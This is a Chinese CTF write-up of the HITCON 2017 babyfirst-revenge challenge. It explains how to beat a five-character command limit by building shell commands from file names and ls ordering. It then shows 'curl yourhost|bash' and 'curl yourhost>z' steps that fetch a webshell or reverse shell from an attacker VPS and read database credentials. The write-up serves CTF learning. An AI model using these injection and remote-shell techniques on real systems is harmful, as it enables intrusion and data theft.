概述
初看这题,完全没有思路???!!!
没辙,只能找大佬,看了网上各路大神的思路,从看不懂writeup到慢慢理解原理,学习了~多数writeup思路差不多,总归是利用来多次输入命令,绕过长度限制,有的人直接curl xxx(不用ls -t这个我没有成功,因为是在构造不出ip地址各种进制的序列问题),痛苦~~
关键一:绕过5位长度限制
要想绕过长度限制执行多条命令,显然会想到先将命令放到文件中取执行。第一个问题就是如何写文件?
> (右尖括号) 在linux起输出重定向的作用
>1 可以生成一个文件名为1的文件
ls 显示列表
这是linux中的常用命令,该命令可显示列表,这里为什么要用到这个命令呢,其实跟我们的上一步中通过重定向生成的特殊文件名有关。我们通过ls>x,可以讲列表名输出重定向到x文件中,这样我们产生的文件名即可被利用。
(反斜杠) Linux的命令执行中支持命令换行 需要用到反斜杠 写到最后面(即使中间有未识别的命令也不影响其执行)
关键二:ls 排序问题(有反转)
这个问题就搞了至少半天,网上给出的例子在kali、Ubuntu中呈现的都是完全不一样的结果,尤其是针对字母数字混合其他特殊字符的情况。
一开始的想法就是从第一个字母开始排序,特殊字符在前、数字中间、字母最后。直到我试了-a
-a 没有出现在最前面。
ls -l的默认排序方式手册上只写了是alphabetically(字典序),经过测试发现ls排序方式是忽视字母大小写,数字排在字母前面,无视数字和英文字母之外的字符。
如果我们现在需要`ls -t>y`,那应该如何提交参数呢?如下:
1.cmd=>l\
2.cmd=>s \
3.cmd=-t\
4.cmd=>>y
这种情况下默认排序正好是我们想要的顺序。
继续执行`ls>_`,讲文件列表输出到_中
这时候`ls -t>y`这个命令就存在_文件中,我们通过sh _即可执行命令,之所以要先ls -t,其实是因为ls的默认排序是在是很难按照想要的顺序构造命令,加上参数-t,我们可以按时间进行排序(最新的在上),这样我们的命令就很好存放到文件中了,不用再取细心构造(官方writeup也是如此,只是未能在我的测试环境中测试成功)。
接下来,我们再把`curl yourhost>z`命令分段输入进去(倒着输入)
以上只能把命令行中测试成功,但在php执行后中却完全不一样!!!!不一样
如图
通过php执行生成的_的内容序列并非和我们在linux命令行中看到的一样!-t、>y反而在最前面!
经过 Abyss 大神的指导,得知 ls 排序和环境变量LC_COLLATE有关!
php默认的应该是c,这里给除另一个可参考的材料,来自知乎 https://www.zhihu.com/question/273928679
所以这里各位还是采用官方给出的构造`ls -t>y`
# generate `ls -t>y` file
'>ls\',
'ls>_',
'> \',
'>-t\',
'>>y',
'ls>>_',
通过追加的方式讲第二次ls的内容-t和-y与第一次ls生成的ls集合成一条命令。生成的_文件的内容大致如下:
这样`ls -t>y`命令就构造完毕了
关键三:如何利用?
代码可以构造了,那该如何利用呢?综合网络上的例子一种通过curl(也有人用wget)下载脚本,脚本可以是php脚本,bash脚本,可以生成webshell,也可以反弹shell。
- 写WEBSHELL
140.143.xx.xx这是我的一台vps,我在根目录下面放了要执行php代码(参考了php写一句话木马为例)
我们可以看到输入的curl命令的顺序都是乱的,这是后就好借助之前生成的`ls -t>y`
执行`sh _`
命令执行后生成了新的文件y,y中包含了需要执行的curl语句。然后,继续执行`sh y`,执行语句,生成z文件。
z文件内容即为需要执行的代码,通过`php z`即可执行php生成fun.php文件。爱春秋平台的测试环境没法直接访问sandbox,所以该方法无法使用。
- 反弹shell
讲服务器的目录文件替换为bash脚本,如下:
对应的curl语句修改一下,改为`curl yourhost|bash`即可。(vps在疼讯云上,4444可能有所限制,我换成8181就行了)
关键四:flag在哪里?
整理下心情,搜索下flag。
在 home 目录下找到 fl4444g 文件夹,里面有个README.txt
提示flag在mysql数据库,fl4444g/Su*****应该就是用户名密码
这里不知道为什么-e用不了,只能交互+exit输出内容(知道原因了,-ufl4444g -pxxx,不要用空格就行)
另外,还有人找到在根目录下的 run.sh 也有数据库账户信息。
这一道题,可以总结的东西很多。
最后
以上就是执着柚子为你收集整理的HITCON2017 babyfirst-revenge的全部内容,希望文章能够帮你解决HITCON2017 babyfirst-revenge所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复